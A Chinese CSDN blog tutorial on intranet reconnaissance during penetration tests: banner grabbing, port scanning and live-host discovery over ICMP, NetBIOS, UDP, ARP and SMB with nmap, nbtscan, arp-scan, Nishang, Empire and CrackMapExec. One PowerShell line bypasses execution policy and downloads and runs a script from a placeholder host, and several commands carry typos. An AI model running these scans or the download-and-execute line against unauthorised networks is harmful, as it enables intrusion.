✅作者简介:CSDN内容合伙人、信息安全专业在校大学生🏆
🔥系列专栏 :内网安全
📃新人博主 :欢迎点赞收藏关注,会回访!
💬舞台再大,你不上台,永远是个观众。平台再好,你不参与,永远是局外人。能力再大,你不行动,只能看别人成功!没有人会关心你付出过多少努力,撑得累不累,摔得痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷。
文章目录
- 获取端口Banner信息
- 简介
- 利用NetCat获取端口Banner
- 利用Telnet获取端口Banner
- 利用Nmap获取端口Banner
- 扫描内网端口
- 简介
- 1利用Telnet 探测端口
- 2利用 Nmap进行端口扫描
- 3利用PowerShell进行端口扫描
- 扫描内网存活主机
- 简介
- 基于ICMP发现存活主机
- 基于NetBlOS(网络基本输入/输出系统)协议发现存活主机
- 在这里插入图片描述
- 基于ARP发现存活主机
获取端口Banner信息
简介
端口分为:
- 周知端口:即范围从0-1023,其中80端口分配给WWW(http服务)服务,21端口分配给FTP服务等。
- 动态端口,即范围从49152到65535。他一般不固定分配某种服务,而是动态分配。
- 注册端口,即端口号从1024到49151,分配给用户或进程。
Banner 信息是端口服务的欢迎语,Banner中可能包含一些敏感信息,例如件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。
利用NetCat获取端口Banner
Netcat是一款常用的测试工具和黑客工具,使用NetCat可以轻易建立任何连接,具有“瑞士军刀”的美誉。通过指定NetCat的“-nv”选项,可以在连接指定的端口时获取该端口的 Banner信息。
nc -nv <IP> <Port>
利用Telnet获取端口Banner
如果目标端口开放,使用Telnet连接后,也会返回相应的 Banner信息
telnet <IP> <Port>
利用Nmap获取端口Banner
在Nmap中指定脚本“–script=banner”,可以在端口扫描过程中获取端口的 Banner信息
nmap --script=banner -sT -p1-65535 192.168.204.1
-sT 表示使用基于TCP的方式去扫描
-p1-200 表示扫描的端口是1-200
--script=banner 表示使用的脚本是banner脚本
扫描内网端口
简介
端口是一切网络入侵的入口。通过对内网主机进行端口扫描,测试人员可以确定目标主机上开放的服务类型、服务版本,并查找相应的漏洞进行攻击。测试人员可以根据目标主机的情况,上传工具进行扫描,也可以借助内网代理或路由转发对目标主机发起扫描。
1利用Telnet 探测端口
Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。
telnet <IP> <Port>
2利用 Nmap进行端口扫描
Nmap是一个十分强大的端口扫描工具,在实际利用中可以借助内网代理对内网主机进行端口扫描。关于 Nmap的使用,更多使用方法请参考Nmap官方手册。下面仅给出几个常用的扫描命令。
执行以下命令,扫描目标主机的指定端口
nmap -p 80,88,135,139,443,8080,3306,3389 192.168.204.147
执行以下命令,扫描目标主机开放的全部端口
nmap -sS -p 1-6553510.10.10.11
执行以下命令,扫描并获取目标主机指定端口上开放的服务版本
nmap -sV -p 80,88,135,139,443,8080,3306,3389 10.10.10.11
3利用PowerShell进行端口扫描
NiShang是基于PowerShell 的渗透测试专用框架,集成了各种脚本和 Payload,广泛用于渗透测试的各阶段。 NiShang的 Scan模块中也有一个Invoke-PortsCan.ps1脚本,可以用来对主机进行端口扫描(具体见 Github 上的相关网页)。 执行以下命令,对内网的一个主机范围执行默认的端口扫描:
Invoke-PortScan -StartAddress 192.168.204.1 —EndAddress 192.168.204.254 -ResolveHost -ScanPort
执行以下命令,对内网中的一个主机范围扫描指定的端口
powershell.exe -exec bypass -Command "IEX(New-0bject Net.WebClient). DownloadString('http://your-ip:;port/Invoke-portscan.ps1');Invoke-PortScan -StartAddress 192.168.204.1 EndAddress-192.168.204.254-ResolveHost -ScanPort -Port 80, 88, 135, 139,443,8080,3306,3389"
扫描内网存活主机
简介
在渗透测试中可以根据目标主机的情况,上传工具进行主机存活探测,也可以借助内网代理或路由转发对目标主机所处的局域网发起探测。
测试人员可以根据当前渗透环境,选用ICMP、NetBIOS、UDP、ARP、SNMP、SMB等多种网络协议。按照协议类型,下面介绍使用常见工具来发现内网存活主机的方法。
基于ICMP发现存活主机
ICMP (Internet Control Message Protocol,因特网控制消息协议)是TCP/IP 协议簇的一个子协议,用于网络层的通信,即IP主机、路由器之间传递控制消息,提供可能友生在通信环境中的各种问题反馈。通过这些信息,管理员可以对发生的问题做出诊断,然后采取适当的措施解决。
在实际利用中,可以通过ICMP循环对整个网段中的每个IP地址执行ping 命令,所有能够ping 通的IP地址即为内网中存活的主机。
在目标主机中执行以下命令:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.199.%I| findstr "TTL="
命令参数解析:
for /L %I in (sequence) do command,for遍历
192.168.199.%I,代表你要ping的网段:192.168.199.0网段
(1,1,254),第一个1和最后一个254,代表从1-254,中间那个1,代表,每次ping,递增1
-n 1,代表发送的回显请求数
-w 60,代表等待回复每次ping超时时间(毫秒)
或者也可以使用nmap:
nmap -sP 192.168.204.1/24
基于NetBlOS(网络基本输入/输出系统)协议发现存活主机
网络中的计算机之间必须知道IP地址后才能相互通信。但对人来说IP难以记忆,NetBIOS计算机名称比较容易记忆。当计算机使用 NetBIOS 名称与其他计算机通信时,必须先通过 NetBIOS名称找到IP地址,然后再通过IP地址通信。由NetBIOS名称找出IP地址的操作被称为NetBIOS名称解析(NetBIOS name resolution)。
NetBIOS(端口:137~139)提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口 (Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WINS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在 Windows中,默认安装TCP/IP后会自动安装NetBIOS。可以使用nbtstat -n
查看netbios信息。
在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。
NBTScan是一款用于扫描Windows网络上 NetBIOS名称的程序,用于发现内网中存活的 Windows 主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。总之,NBTSCAN可以获取到PC的真实IP地址和MAC地址。
将nbtscan.exe 上传到目标主机(网页搜索下载即可),执行以下命令:
nbtscan-1.0.35.exe 192.168.199.1/24
基于UDP发现存活主机
UDP (User Datagram Protocol,用户数据报协议)是一种用于传输层的无连接传输的协议,为应用程序提供一种不需建立连接就可以发送封装的IP数据包的方法。
在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP 探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan是 Kali Linux平台的一款信息收集工具,提供了网络扫描功能。
执行以下命令,通过UDP协议扫描内网的存活主机。
us -mU 192.168.204.1/24
- TCP是有连接的协议,而UDP是无连接的;
- TCP扫描检测(ACK SYN)或者是(RST)报文,而UDP检测ICMP端口不可达报文;
- TCP协议是可靠但低效的,可以有效进行端口扫描,范围广,效率低,可以应用于任何网络中;UDP协议时不可靠但高效的,范围小,效率高,一般应用于局域网内部,随着网络规模的增大,UDP端口扫描的结果准确度会越来越差,极端情况是,如果对Internet使用UDP端口扫描,所得到的结果一定不准确。
基于ARP发现存活主机
ARP (Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址﹔收到返回消息后,将该IP地址和物理地址存入本机 ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。
在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
(1)ARP-Scan 的利用
ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机,执行以下命令,即可扫描内网中存活的主机。
arp-scan.exe -t 192.168.204.1/24
(2) PowerShell 的利用
Empire渗透框架的 Invoke-ARPScan.ps1脚本可利用ARP发现内网存活主机(项目见Github 上的相关网页)。使用时,需要将脚本导入执行:
Import-Module . \Invoke-ARPScan. ps1 Invoke-ARPScan -CIDR 192.168.204.1/24
基于SMB (Server Message Block,服务器消息块)协议发现存活主机
SMB(端口445)又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。
在实际利用中,可以探测局域网中存在的SMB服务,从而发现内网的存活主机,多适用于Windows主机的发现。
CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WINRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性(具体见 Github 上的相关网页)。执行以下命令:
crackmapexec smb 192.168.204.1/24
探测局域网中存在的SMB服务,从而发现内网中的存活主机
循环探测整个局域网C段中存活的主机